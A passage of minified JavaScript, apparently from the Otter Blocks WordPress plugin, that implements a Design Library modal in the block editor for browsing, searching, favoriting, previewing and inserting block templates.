a=It(u,((e,t)=>{p({inView:e,entry:t}),m.current&&m.current(e,t),t.isIntersecting&&o&&a&&(a(),a=void 0)}),{root:i,rootMargin:r,threshold:e,trackVisibility:s,delay:t},c),()=>{a&&a()}}),[Array.isArray(e)?e.toString():e,u,i,r,o,n,s,c,t]);const f=null==(h=g.entry)?void 0:h.target,b=Pt.useRef(void 0);u||!f||o||n||b.current===f||(b.current=f,p({inView:!!a,entry:void 0}));const _=[d,g.inView,g.entry];return _.ref=_[0],_.inView=_[1],_.entry=_[2],_}Pt.Component;var Vt=window.wp.blockEditor,Ot=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z"})});const $t=new Map,Gt=/(\d*\.?\d+)(?:[sdl])?vh(?![\w\\[-])/g,Tt=e=>((e,t)=>{const s=e.includes("atomic-wind/")&&Boolean(window.atomicWindGenerateCss),[i,o]=(0,r.useState)((()=>$t.get(t)));return(0,r.useEffect)((()=>{const r=$t.get(t);if(o(r),!s||void 0!==r)return;let i=!1;return window.atomicWindGenerateCss((e=>{const t=new Set;for(const[,s]of e.matchAll(/\bclass="([^"]*)"/g))s.split(/\s+/).forEach((e=>e&&t.add(e)));return Array.from(t)})(e)).then((e=>{const s=(e=>e.replace(Gt,((e,t)=>`calc(var(--parent-vh, 850px) * ${t} / 100)`)))(e);$t.set(t,s),i||o(s)})).catch((()=>{i||o("")})),()=>{i=!0}}),[t,s]),{css:i||"",isReady:!s||void 0!==i}})(e.content,e.name),Wt=Vt.BlockPreview.Async||(({children:e})=>e),Ht="themeisle-blocks/patterns-upsell",qt=()=>(0,h.jsx)("div",{className:"o-library__thumb-skeleton"}),Zt=({pattern:e})=>{const[t,s]=(0,r.useState)(!1),i=((e="")=>{let t=0;for(let s=0;s<e.length;s++)t=(31*t+e.charCodeAt(s))%360;return t})(e.name);return t||!e.screenshot?(0,h.jsx)("div",{className:"o-library__shot is-fallback",style:{"--o-lib-hue":i},children:(0,h.jsx)("span",{children:e.title})}):(0,h.jsx)("img",{className:"o-library__shot",src:e.screenshot,alt:e.title,loading:"lazy",onError:()=>s(!0)})},Qt=new Map,Kt=e=>(Qt.has(e.name)||Qt.set(e.name,(0,p.parse)(e.content).filter((e=>Ht!==e.name))),Qt.get(e.name)),Ut=new Set,Jt=e=>{const t=Math.round(e/1.6),s={"min-h":"min-height",h:"height","max-h":"max-height"},r=["screen","[100vh]","[100svh]","[100dvh]","[100lvh]"],i=e=>e.replace(/[[\]]/g,(e=>"\\"+e)),o=[];for(const[e,n]of Object.entries(s))for(const s of r)o.push(`.${i(`${e}-${s}`)}{${n}:${t}px!important}`);return o.join("\n")},Xt=({blocks:e,previewKey:t,css:s=[],viewportWidth:i=1400,placeholder:o=(0,h.jsx)(qt,{}),className:n="o-library__live",normalizeViewport:a=!1})=>{const l=(0,r.useRef)(null),[u,d]=(0,r.useState)(!1);(0,r.useEffect)((()=>{let e;d(!1);const s=setTimeout((()=>{cancelAnimationFrame(e),d(!0)}),4e3),r=()=>{const i=l.current?.querySelector("iframe")?.contentDocument,o=Boolean(i?.querySelector(".block-editor-block-list__layout")),n=o&&Array.from(i.querySelectorAll('link[rel="stylesheet"]')).every((e=>null!==e.sheet));if(o&&n)return clearTimeout(s),Ut.add(t),void d(!0);e=requestAnimationFrame(r)};return e=requestAnimationFrame(r),()=>{clearTimeout(s),cancelAnimationFrame(e)}}),[t]);const m=s.filter(Boolean).map((e=>({css:e})));return a&&m.push({css:Jt(i)}),(0,h.jsxs)("div",{className:c()(n,{"is-ready":u}),ref:l,children:[(0,h.jsx)(Vt.BlockPreview,{blocks:e,viewportWidth:i,additionalStyles:m.length?m:void 0}),!u&&o]})},Yt=({pattern:e,css:t=[],placeholder:s=(0,h.jsx)(qt,{})})=>(0,h.jsx)(Xt,{blocks:Kt(e),previewKey:e.name,css:t,viewportWidth:e.viewportWidth||1400,placeholder:s}),es=({pattern:e,accent:t=null})=>{const{pattern:s,css:i}=J(e,t),{css:o,isReady:n}=Tt(s),a=(0,r.useMemo)((()=>Ut.has(s.name)),[s.name]);return n?a?(0,h.jsx)(Yt,{pattern:s,css:[o,i]}):(0,h.jsx)(Wt,{placeholder:(0,h.jsx)(qt,{}),children:(0,h.jsx)(Yt,{pattern:s,css:[o,i]})}):(0,h.jsx)(qt,{})};var ts=(0,r.memo)((({pattern:t,categoryLabel:s,isPage:r=!1,isFavorite:i=!1,accent:o=null,onInsert:n=()=>{},onPreview:a=()=>{},onFavorite:l=()=>{}})=>{const{ref:u,inView:g}=Rt({threshold:0,rootMargin:"300px 0px 600px 0px"}),p=Boolean(t.isPro),f=g?p?(0,h.jsx)(Zt,{pattern:t}):(0,h.jsx)(es,{pattern:t,accent:o}):(0,h.jsx)(qt,{}),_=(0,h.jsx)("button",{className:c()("o-library__fav",{"is-on":i}),title:i?(0,e.__)("Remove from favorites","otter-blocks"):(0,e.__)("Add to favorites","otter-blocks"),onClick:()=>l(t.name),children:(i?m:d)({width:16,height:16})});return(0,h.jsxs)("div",{className:c()("o-library__card",{"is-page":r}),ref:u,children:[(0,h.jsxs)("div",{className:"o-library__thumb",children:[f,p&&(0,h.jsxs)("span",{className:"o-library__pro-badge",children:[(0,h.jsx)(b,{icon:A,size:14}),(0,e.__)("Pro","otter-blocks")]}),_,(0,h.jsxs)("div",{className:"o-library__card-overlay",role:"presentation",onClick:e=>{e.target===e.currentTarget&&(p?n(t):a(t))},children:[!p&&(0,h.jsx)("button",{className:"o-library__btn is-ghost is-ondark",onClick:()=>a(t),children:(0,e.__)("Preview","otter-blocks")}),p?(0,h.jsxs)("button",{className:"o-library__btn is-primary",onClick:()=>n(t),children:[(0,h.jsx)(b,{icon:A,size:18}),(0,e.__)("Get with Pro","otter-blocks")]}):(0,h.jsxs)("button",{className:"o-library__btn is-primary",onClick:()=>n(t),children:[(0,h.jsx)(b,{icon:Ot,size:20}),(0,e.__)("Insert","otter-blocks")]})]})]}),(0,h.jsxs)("div",{className:"o-library__card-foot",children:[(0,h.jsx)("span",{className:"o-library__card-name",children:t.title}),Boolean(s)&&(0,h.jsx)("span",{className:"o-library__card-cat",children:s})]})]})}));const ss=({pattern:e,accent:t,onClick:s})=>{const{ref:r,inView:i}=Rt({threshold:0,rootMargin:"200px",triggerOnce:!0}),o=e.isPro?(0,h.jsx)(Zt,{pattern:e}):(0,h.jsx)(es,{pattern:e,accent:t});return(0,h.jsxs)("button",{className:"o-library__similar-card",onClick:s,ref:r,children:[(0,h.jsx)("span",{className:"o-library__similar-thumb",children:i?o:(0,h.jsx)(qt,{})}),(0,h.jsx)("span",{className:"o-library__similar-name",children:e.title})]})};var rs=({pattern:t,categoryLabel:s,isPage:i=!1,isFavorite:o=!1,accent:n=null,similar:a=[],onFavorite:l,onClose:u,onInsert:g,onPreviewOther:p})=>{const f=Boolean(t.isPro),{pattern:v,css:y}=J(t,n),{css:k,isReady:x}=Tt(v),w=(0,r.useRef)(null);return(0,r.useEffect)((()=>{w.current?.scrollTo(0,0)}),[t.name]),(0,h.jsx)("div",{className:"o-library__pv-scrim",role:"presentation",onClick:u,children:(0,h.jsxs)("div",{className:"o-library__pv",role:"dialog","aria-modal":"true","aria-label":t.title,onClick:e=>e.stopPropagation(),children:[(0,h.jsxs)("div",{className:"o-library__pv-head",children:[(0,h.jsxs)("div",{children:[(0,h.jsx)("div",{className:"o-library__pv-title",children:t.title}),Boolean(s)&&(0,h.jsx)("div",{className:"o-library__pv-cat",children:s})]}),(0,h.jsxs)("div",{className:"o-library__pv-actions",children:[(0,h.jsx)("button",{className:c()("o-library__iconbtn",{"is-fav":o}),title:o?(0,e.__)("Remove from favorites","otter-blocks"):(0,e.__)("Add to favorites","otter-blocks"),onClick:l,children:(o?m:d)({width:20,height:20})}),(0,h.jsxs)("button",{className:"o-library__btn is-primary is-large",onClick:g,children:[(0,h.jsx)(b,{icon:f?A:Ot,size:20}),f?(0,e.__)("Get with Otter Pro","otter-blocks"):(0,e.__)("Insert template","otter-blocks")]}),(0,h.jsx)("button",{className:"o-library__iconbtn",title:(0,e.__)("Close preview","otter-blocks"),onClick:u,children:(0,h.jsx)(b,{icon:_,size:20})})]})]}),(0,h.jsxs)("div",{className:"o-library__pv-body",ref:w,children:[(0,h.jsx)("div",{className:c()("o-library__pv-frame",{"is-page":i,"is-pro":f}),children:f?(0,h.jsx)(Zt,{pattern:t}):x?(0,h.jsx)(Wt,{placeholder:(0,h.jsx)("div",{className:"o-library__pv-skeleton"}),children:(0,h.jsx)(Yt,{pattern:v,css:[k,y],placeholder:(0,h.jsx)("div",{className:"o-library__pv-skeleton"})})},v.name):(0,h.jsx)("div",{className:"o-library__pv-skeleton"})}),Boolean(a.length)&&(0,h.jsxs)("div",{className:"o-library__similar",children:[(0,h.jsx)("div",{className:"o-library__similar-head",children:(0,e.__)("More like this","otter-blocks")}),(0,h.jsx)("div",{className:"o-library__similar-row",children:a.map((e=>(0,h.jsx)(ss,{pattern:e,accent:n,onClick:()=>p(e)},e.name)))})]})]})]})})},is=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"M17.3 10.1c0-2.5-2.1-4.4-4.8-4.4-2.2 0-4.1 1.4-4.6 3.3h-.2C5.7 9 4 10.7 4 12.8c0 2.1 1.7 3.8 3.7 3.8h9c1.8 0 3.2-1.5 3.2-3.3.1-1.6-1.1-2.9-2.6-3.2zm-.5 5.1h-9c-1.2 0-2.2-1.1-2.2-2.3s1-2.4 2.2-2.4h1.3l.3-1.1c.4-1.3 1.7-2.2 3.2-2.2 1.8 0 3.3 1.3 3.3 2.9v1.3l1.3.2c.8.1 1.4.9 1.4 1.8-.1 1-.9 1.8-1.8 1.8z"})}),os=()=>(0,h.jsxs)("div",{className:"o-library__tc-placeholder",children:[(0,h.jsx)(b,{icon:is,size:40}),(0,h.jsx)("h2",{children:(0,e.__)("Add External Sources","otter-blocks")}),(0,h.jsxs)("div",{children:[(0,h.jsx)("p",{children:(0,e.__)("Import templates from any site using Templates Cloud. Free Sources included.","otter-blocks")}),(0,h.jsx)("p",{children:(0,e.__)("Share patterns between your own sites.","otter-blocks")})]}),(0,h.jsx)("br",{}),(0,h.jsx)(t.Button,{href:`${window.themeisleGutenberg.optionsPath}&scrollTo=tc#integrations`,variant:"link",children:(0,e.__)("Go to settings to add sources","otter-blocks")})]}),ns=(0,h.jsx)(l.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,h.jsx)(l.Path,{d:"m11.3 17.2-5-5c-.1-.1-.1-.3 0-.4l2.3-2.3-1.1-1-2.3 2.3c-.7.7-.7 1.8 0 2.5l5 5H7.5v1.5h5.3v-5.2h-1.5v2.6zm7.5-6.4-5-5h2.7V4.2h-5.2v5.2h1.5V6.8l5 5c.1.1.1.3 0 .4l-2.3 2.3 1.1 1.1 2.3-2.3c.6-.7.6-1.9-.1-2.5z"})}),as=window.wp.api,cs=s.n(as);let ls={};var hs=({title:s=(0,e.__)("Atomic Wind blocks are required","otter-blocks"),description:o=(0,e.__)("The Design Library is built on Otter's Atomic Wind blocks, which are currently disabled. Enable them to browse and insert templates.","otter-blocks")}={})=>{const[,n,a]=(()=>{const{createNotice:t}=(0,i.dispatch)("core/notices"),[s,o]=(0,r.useState)("loading"),[n,a]=(0,r.useState)({});return(0,i.useSelect)((e=>{if(Object.keys(n).length)return;const{getEntityRecord:t}=e("core"),s=t("root","site");s&&(o("loaded"),a(s))}),[n]),[e=>ls?.[e]||n?.[e],(s,r,i=(0,e.__)("Settings saved.","otter-blocks"),n=void 0,c=()=>{},l=()=>{})=>{o("saving");const h=new(cs().models.Settings)({[s]:r}).save();h.success(((s,r)=>{"success"===r&&(o("loaded"),t("success",i,{isDismissible:!0,type:"snackbar",id:n})),"error"===r&&(o("error"),t("error",(0,e.__)("An unknown error occurred.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:n})),ls=s,a(s),c?.(s)})),h.error((s=>{o("error"),t("error",s?.responseJSON?.message??(0,e.__)("An unknown error occurred.","otter-blocks"),{isDismissible:!0,type:"snackbar",id:n}),l?.(s)}))},s]})(),[c,l]=(0,r.useState)(!1),u="saving"===a;return(0,h.jsxs)("div",{className:"o-library__gate",children:[(0,h.jsx)("span",{className:"o-library__gate-icon",children:(0,h.jsx)(b,{icon:c?ns:j,size:40})}),c?(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)("h2",{children:(0,e.__)("Almost there — reload to continue","otter-blocks")}),(0,h.jsx)("p",{children:(0,e.__)("Atomic Wind blocks are now enabled. Reload the editor to load them. Save any pending changes first.","otter-blocks")}),(0,h.jsx)(t.Button,{variant:"primary",className:"o-library__gate-action",onClick:()=>window.location.reload(),children:(0,e.__)("Reload editor","otter-blocks")})]}):(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)("h2",{children:s}),(0,h.jsx)("p",{children:o}),(0,h.jsx)(t.Button,{variant:"primary",className:"o-library__gate-action",onClick:()=>{n("themeisle_blocks_settings_atomic_wind_blocks",!0,(0,e.__)("Atomic Wind blocks enabled.","otter-blocks"),"o-library-atomic-wind",(()=>l(!0)))},isBusy:u,disabled:u,children:u?(0,e.__)("Enabling…","otter-blocks"):(0,e.__)("Enable Atomic Wind blocks","otter-blocks")})]})]})};const us=(e,t,s=0)=>{if(!Array.isArray(e)||!Array.isArray(t)||!t.length||4<s)return e;const r=t.reduce(((e,t)=>(t?.name&&(e[t.name]=t),e)),{}),i=e=>{if(!e)return[];if("core/pattern"===e.name){const i=e.attributes?.slug,o=i?r[i]:null;return o?.content?us((0,p.parse)(o.content),t,s+1):[]}return e.innerBlocks?.length?[{...e,innerBlocks:e.innerBlocks.flatMap(i)}]:[e]};return e.flatMap(i)},ds=e=>e.map((e=>{const t={...e.attributes?.metadata||{}};return delete t.patternName,{...e,attributes:{...e.attributes,metadata:Object.keys(t).length?t:void 0},innerBlocks:ds(e.innerBlocks||[])}})),ms="cloud-empty",gs=[{id:"structure",label:(0,e.__)("Layout & Structure","otter-blocks"),categories:["header","page-sections"]},{id:"content",label:(0,e.__)("Content","otter-blocks"),categories:["features","gallery","team","text","blog","faq","timeline","portfolio"]},{id:"convert",label:(0,e.__)("Conversion","otter-blocks"),categories:["call-to-action","forms","pricing","contact","newsletter","waitlist"]},{id:"proof",label:(0,e.__)("Social Proof","otter-blocks"),categories:["testimonials","stats","case-studies","clients"]},{id:"media",label:(0,e.__)("Media","otter-blocks"),categories:["video","maps","icons"]}],ps=["otter-blocks","featured","pages"],fs=["style"],bs=e=>"tone"===e.kind||"layout"===e.kind||"access"===e.kind?e.kind:"meta"===e.kind&&fs.includes(e.group)?"meta:"+e.group:null,_s=e=>e.endsWith("-pack"),vs=e=>e.startsWith("ti-tc-"),ys=e=>(e||"").split("/").pop(),ks=e=>e.categories.some((e=>_s(e)||"pages"===e)),xs=e=>e.flatMap((e=>[..."core/missing"===e.name&&e.attributes?.originalName?[e.attributes.originalName]:[],...xs(e.innerBlocks||[])]));var ws=({onClose:s})=>{const{insertBlocks:o}=(0,i.useDispatch)("core/block-editor"),{createSuccessNotice:n,createWarningNotice:a}=(0,i.useDispatch)("core/notices"),{set:c}=(0,i.useDispatch)("core/preferences"),{clientID:l,favorites:u,columns:d,accent:m}=(0,i.useSelect)((e=>{const{getSelectedBlockClientId:t}=e("core/block-editor"),{get:s}=e("core/preferences");return{clientID:t(),favorites:s("themeisle/otter-blocks","patterns-favorites")||[],columns:s("themeisle/otter-blocks","patterns-columns")||3,accent:s("themeisle/otter-blocks","patterns-accent")||null}}),[]),y=(0,i.useSelect)((e=>Boolean(e("core/blocks").getBlockType("atomic-wind/box"))),[]),k=(0,r.useCallback)((e=>{const t=ys(e);u.some((e=>ys(e)===t))?c("themeisle/otter-blocks","patterns-favorites",u.filter((e=>ys(e)!==t))):c("themeisle/otter-blocks","patterns-favorites",[...u,e])}),[u]),x=(0,r.useMemo)((()=>new Set(u.map(ys))),[u]),{allPatterns:w,allCategories:j,isResolvingPatterns:C}=(0,i.useSelect)((e=>{const{getBlockPatterns:t,getBlockPatternCategories:s,hasFinishedResolution:r}=e("core");return{allPatterns:t(),allCategories:s()||[],isResolvingPatterns:!r("getBlockPatterns")||!r("getBlockPatternCategories")}}),[]),M=(0,r.useMemo)((()=>w?.filter((e=>e?.categories&&e?.categories.includes("otter-blocks")))||[]),[w]),A=(0,r.useMemo)((()=>(window.themeisleGutenberg?.proPatterns||[]).map((e=>({...e,content:"",categories:e.categories||["otter-blocks"],keywords:e.keywords||[],elements:e.elements||[],isPro:!0})))),[]),N=(0,r.useMemo)((()=>{const e=new Set(M.map((e=>ys(e.name))));return[...M,...A.filter((t=>!e.has(ys(t.name))))]}),[M,A]),S=(0,r.useMemo)((()=>{const e=new Set(N.map((e=>ys(e.name))));let t=0;return x.forEach((s=>{e.has(s)&&t++})),t}),[N,x]),{sectionGroups:B,collections:F,tcCategories:E,categoryLabels:P}=(0,r.useMemo)((()=>{const t=[...new Set(N.flatMap((e=>e.categories)))],s={};j.forEach((e=>{s[e.name]=e.label})),s.header=(0,e.__)("Hero","otter-blocks");const r=t.filter((e=>!ps.includes(e)&&!_s(e)&&!vs(e))),i=gs.map((e=>({...e,categories:e.categories.filter((e=>r.includes(e))).map((e=>({name:e,label:s[e]||e})))}))).filter((e=>Boolean(e.categories.length))),o=r.filter((e=>!gs.some((t=>t.categories.includes(e)))));o.length&&i.push({id:"more",label:(0,e.__)("More","otter-blocks"),categories:o.map((e=>({name:e,label:s[e]||e}))).sort(((e,t)=>e.label.localeCompare(t.label)))});const n=new Set;return N.forEach((e=>{e.isPro||e.categories.forEach((e=>{_s(e)&&n.add(e)}))})),{sectionGroups:i,collections:t.filter(_s).map((e=>{const t=(s[e]||e).replace(/\s*\(Pages\)\s*$/,"");return s[e]=t,{name:e,label:t,isPro:!n.has(e)}})).sort(((e,t)=>e.isPro===t.isPro?e.label.localeCompare(t.label):e.isPro?1:-1)),tcCategories:t.filter(vs).map((e=>({name:e,label:s[e]||e}))).sort(((e,t)=>e.label.localeCompare(t.label))),categoryLabels:s}}),[N,j]),[D,z]=(0,r.useState)("sections"),[I,R]=(0,r.useState)("all"),[O,$]=(0,r.useState)(""),[T,W]=(0,r.useState)(""),H=(0,f.useDebounce)(W,250);(0,r.useEffect)((()=>{if(!O)return H.cancel(),void W("");H(O)}),[O,H]);const[Z,U]=(0,r.useState)(!1),[J,X]=(0,r.useState)("featured"),[Y,ee]=(0,r.useState)([]),[te,re]=(0,r.useState)(null),ie="pages"===D,oe=(0,r.useMemo)((()=>N.filter((e=>ie===ks(e)))),[N,ie]),ne=(0,r.useMemo)((()=>{const e={all:oe.length};return oe.forEach((t=>{t.categories.forEach((t=>{e[t]=(e[t]||0)+1}))})),e}),[oe]),ae=(0,r.useMemo)((()=>oe.filter((e=>"all"===I||e.categories.includes(I)))),[oe,I]),ce=(0,r.useMemo)((()=>(e=>{const t=e.toLowerCase().split(/\s+/).filter(Boolean),s=[],r=[],i=[];return t.forEach((e=>{const t=e.replace(/[^\w-]/g,""),o=ct[t];if(o){const t=o.kind+":"+o.value;i.includes(t)||(i.push(t),s.push({...o,word:e}))}else t&&!lt.includes(t)&&r.push(t)})),{tokens:s,text:r}})(T)),[T]),le=(0,r.useMemo)((()=>((e,t)=>new Xe(e.map((e=>({name:e.name,title:e.title,slug:_t(e),categories:(e.categories||[]).map((e=>t[e]||"")).filter(Boolean),description:e.description||"",text:bt(e)}))),{keys:[{name:"title",weight:3},{name:"description",weight:2},{name:"slug",weight:1.5},{name:"categories",weight:1.5},{name:"text",weight:.5}],includeScore:!0,ignoreLocation:!0,minMatchCharLength:2,threshold:.35}))(N,P)),[N,P]),he=(0,r.useMemo)((()=>((e,t)=>{if(!t.length)return null;let s=null;return t.forEach((t=>{const r=new Map;e.search(t).forEach((({item:e,score:t})=>{s&&!s.has(e.name)||r.set(e.name,(s?.get(e.name)||0)+t)})),s=r})),s})(le,ce.text)),[le,ce]),ue=(0,r.useMemo)((()=>{const e=((e,t=12)=>{const s=e.length,r=e=>2<=e&&e<s,i={free:0,pro:0};e.forEach((e=>{i[xt(e)]+=1}));const o=["free","pro"].filter((e=>r(i[e]))).map((e=>({key:"access:"+e,kind:"access",value:e,label:rt[e],count:i[e]}))),n=[];nt.forEach((t=>{const s={};e.forEach((e=>{(wt(e)[t]||[]).forEach((e=>{s[e]=(s[e]||0)+1}))})),Object.keys(s).filter((e=>r(s[e]))).sort(((e,t)=>s[t]-s[e])).forEach((e=>{n.push({key:"meta:"+t+":"+e,kind:"meta",group:t,value:e,label:jt(t,e),count:s[e]})}))}));const a={dark:0,light:0};e.forEach((e=>{a[yt(e)]+=1}));const c=["dark","light"].filter((e=>r(a[e]))).map((e=>({key:"tone:"+e,kind:"tone",value:e,label:st[e],count:a[e],tone:e}))),l={};e.forEach((e=>{const t=kt(e);t&&(l[t]=(l[t]||0)+1)}));const h=it.filter((e=>r(l[e]||0))).map((e=>({key:"layout:"+e,kind:"layout",value:e,label:ot[e],count:l[e]}))),u={};e.forEach((e=>{vt(e).forEach((e=>{tt.includes(e)&&(u[e]=(u[e]||0)+1)}))}));const d=Object.keys(u).map((e=>({key:"element:"+e,kind:"element",value:e,label:et[e],count:u[e]}))).filter((e=>r(e.count))).sort(((e,t)=>Math.abs(e.count/s-.45)-Math.abs(t.count/s-.45)));return[...o,...c,...n,...h,...d].slice(0,t)})(ae,12),t=ae.filter((e=>!Z||x.has(ys(e.name)))).filter((e=>ce.tokens.every((t=>Mt(e,t))))).filter((e=>!he||he.has(e.name)));return e.map((e=>{const s=bs(e),r=Y.filter((e=>!s||bs(e)!==s)),i=t.filter((t=>Mt(t,e)&&r.every((e=>Mt(t,e))))).length;return{...e,count:i,disabled:0===i}}))}),[ae,Z,x,ce,he,Y]);(0,r.useEffect)((()=>{ee([])}),[D,I]);const de=e=>{const t=e.categories.find((e=>!ps.includes(e)));return t&&P[t]||""},me=(0,r.useMemo)((()=>{let e=ae.filter((e=>!Z||x.has(ys(e.name)))).filter((e=>ce.tokens.every((t=>Mt(e,t))))).filter((e=>Y.every((t=>Mt(e,t))))).filter((e=>!he||he.has(e.name)));return"az"===J?e=[...e].sort(((e,t)=>e.title.localeCompare(t.title))):"za"===J?e=[...e].sort(((e,t)=>t.title.localeCompare(e.title))):he&&(e=[...e].sort(((e,t)=>he.get(e.name)-he.get(t.name)))),e}),[ae,ce,Y,Z,x,J,he]),ge=(0,r.useMemo)((()=>te?((e,t,s=4)=>{const r=vt(e),i=e.categories.filter((e=>!ht.includes(e)));return t.filter((t=>t.name!==e.name)).map((e=>{let t=0;return e.categories.forEach((e=>{i.includes(e)&&(t+=3)})),vt(e).forEach((e=>{r.includes(e)&&(t+=1)})),{candidate:e,score:t}})).sort(((e,t)=>t.score-e.score)).slice(0,s).map((e=>e.candidate))})(te,N.filter((e=>ks(te)===ks(e))),4):[]),[te,N]),pe=(0,r.useCallback)((t=>{if(t.isPro){const e=window.themeisleGutenberg?.patternsLink||window.themeisleGutenberg?.upgradeLink;return void(e&&window.open(e,"_blank"))}const r=ds(us((0,p.parse)(((e,t)=>{if(!t)return e.content;let{content:s}=e;const r=q(e,t);if(r&&(s=s.replace(G,((e,t,s)=>r[t]?`-[${r[t][s]}]`:e))),Q(s)){const{C:e,H:r}=L(t);s=K(s,V(r,e,t))}return s})(t,m)),w)).filter((e=>Ht!==e.name||!Boolean(window.themeisleGutenberg?.hasPro))),c=[...new Set(xs(r))];if(c.length){const r=c.some((e=>e.startsWith("atomic-wind/"))),i=window.themeisleGutenberg?.optionsPath;return a(r?(0,e.sprintf)(
// translators: %s is the name of the template.
// translators: %s is the name of the template.
(0,e.__)('"%s" needs the Atomic Wind blocks, which are currently disabled. Enable them in Otter\'s settings, then insert the template again.',"otter-blocks"),t.title):(0,e.sprintf)(
// translators: %1$s is the name of the template, %2$s is a list of block names.
// translators: %1$s is the name of the template, %2$s is a list of block names.
(0,e.__)('"%1$s" needs blocks that aren\'t available on this site: %2$s',"otter-blocks"),t.title,c.join(", ")),{isDismissible:!0,actions:r&&i?[{label:(0,e.__)("Open Otter settings","otter-blocks"),onClick:()=>window.open(i,"_blank")}]:[]}),void s()}const{allowedBlockTypes:h}=(0,i.select)("core/block-editor").getSettings(),{updateSettings:u}=(0,i.dispatch)("core/block-editor");u({allowedBlockTypes:!0});try{l?function(e,t){const{getBlockRootClientId:s,getTemplateLock:r,getBlockIndex:o}=(0,i.select)("core/block-editor"),{insertBlock:n,insertBlocks:a}=(0,i.dispatch)("core/block-editor"),c=s(e);if(r(c))return;const l=o(e,c);if(Array.isArray(t))return a(t,l+1,c);n(t,l+1,c)}(l,r):o(r)}finally{u({allowedBlockTypes:h})}n((0,e.sprintf)(
// translators: %s is the name of the inserted template.
// translators: %s is the name of the inserted template.
(0,e.__)('"%s" inserted.',"otter-blocks"),t.title),{type:"snackbar"}),s()}),[l,m,w]),fe=ms===I;return(0,h.jsxs)(t.Modal,{onRequestClose:()=>{te?re(null):s()},className:"o-library__modal",overlayClassName:"o-library__overlay",__experimentalHideHeader:!0,children:[(0,h.jsxs)("header",{className:"o-library__head",children:[(0,h.jsxs)("div",{className:"o-library__brand",children:[(0,h.jsx)("span",{className:"o-library__logo",children:g({})}),(0,h.jsx)("h1",{children:(0,e.__)("Design Library","otter-blocks")})]}),(0,h.jsx)("button",{className:"o-library__iconbtn","aria-label":(0,e.__)("Close library","otter-blocks"),onClick:s,children:(0,h.jsx)(b,{icon:_,size:24})})]}),(0,h.jsxs)("div",{className:"o-library__body",children:[!y&&(0,h.jsx)(hs,{}),y&&(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(se,{mode:D,setMode:e=>{z(e),R("all")},activeCategory:I,setActiveCategory:R,sectionGroups:B,collections:F,tcCategories:E,counts:ne,isLoading:C,accent:m,setAccent:e=>c("themeisle/otter-blocks","patterns-accent",e),showCloudPlaceholder:!E.length&&Boolean(window?.themeisleGutenberg?.hasPatternSources),cloudEmptyCategory:ms}),(0,h.jsxs)("main",{className:"o-library__main",children:[C&&(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(Nt,{}),(0,h.jsx)(Bt,{}),(0,h.jsx)("div",{className:"o-library__scroll","aria-busy":"true",children:(0,h.jsx)("div",{className:"o-library__grid",style:{"--o-lib-cols":d},children:Array.from({length:3*d}).map(((e,t)=>(0,h.jsxs)("div",{className:"o-library__card is-skeleton"+(ie?" is-page":""),children:[(0,h.jsx)("div",{className:"o-library__thumb",children:(0,h.jsx)("div",{className:"o-library__thumb-skeleton"})}),(0,h.jsxs)("div",{className:"o-library__card-foot",children:[(0,h.jsx)("span",{className:"o-library__skeleton-line"}),(0,h.jsx)("span",{className:"o-library__skeleton-line is-short"})]})]},t)))})})]}),fe&&(0,h.jsx)(os,{}),!fe&&!C&&(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(Et,{query:O,setQuery:$,count:me.length,favCount:S,favOnly:Z,setFavOnly:U,sort:J,setSort:X,columns:d,setColumns:e=>c("themeisle/otter-blocks","patterns-columns",e),tokens:ce.tokens,onRemoveToken:e=>{$((t=>t.split(/\s+/).filter((t=>t.toLowerCase()!==e.word)).join(" ")))},categoryLabels:P}),(0,h.jsx)(Ft,{tags:ue,active:Y.map((e=>e.key)),onToggle:e=>{ee((t=>{if(t.some((t=>t.key===e.key)))return t.filter((t=>t.key!==e.key));const s=bs(e);return[...s?t.filter((e=>bs(e)!==s)):t,{key:e.key,kind:e.kind,group:e.group,value:e.value}]}))}}),(0,h.jsxs)("div",{className:"o-library__scroll",children:[!me.length&&(0,h.jsxs)("div",{className:"o-library__empty",children:[(0,h.jsx)(b,{icon:v,size:40}),(0,h.jsx)("h3",{children:(0,e.__)("No templates match","otter-blocks")}),(0,h.jsx)("p",{children:(0,e.__)("Try a different search or clear your filters.","otter-blocks")}),(0,h.jsx)("button",{className:"o-library__btn is-ghost",onClick:()=>{$(""),U(!1),R("all"),ee([])},children:(0,e.__)("Clear filters","otter-blocks")})]}),(0,h.jsx)("div",{className:"o-library__grid",style:{"--o-lib-cols":d},children:me.map((e=>(0,h.jsx)(ts,{pattern:e,categoryLabel:de(e),isPage:ie,isFavorite:x.has(ys(e.name)),accent:m,onInsert:pe,onPreview:re,onFavorite:k},e.name)))})]})]})]})]})]}),te&&(0,h.jsx)(rs,{pattern:te,categoryLabel:de(te),isPage:ks(te),isFavorite:x.has(ys(te.name)),accent:m,similar:ge,onFavorite:()=>k(te.name),onClose:()=>re(null),onInsert:()=>pe(te),onPreviewOther:re})]})};const js=()=>{const[s,i]=(0,r.useState)(!1);return(0,h.jsxs)(h.Fragment,{children:[s&&(0,h.jsx)(ws,{onClose:()=>i(!1)}),(0,h.jsx)(t.Button,{variant:"secondary",icon:u,className:"o-library__button",onClick:()=>i(!0),"data-toolbar-item":"true",children:(0,e.__)("Design Library","otter-blocks")})]})};Boolean(window.themeisleGutenberg.hasModule.patternsLibrary)&&n()((()=>{const e=document.createElement("div");e.classList.add("o-library__wrapper"),(0,r.createRoot)(e).render((0,h.jsx)(js,{})),(0,i.subscribe)((()=>{setTimeout((()=>{const t=document.querySelector(".edit-post-header-toolbar");t&&t.appendChild(e)}),1)}))}))}()}();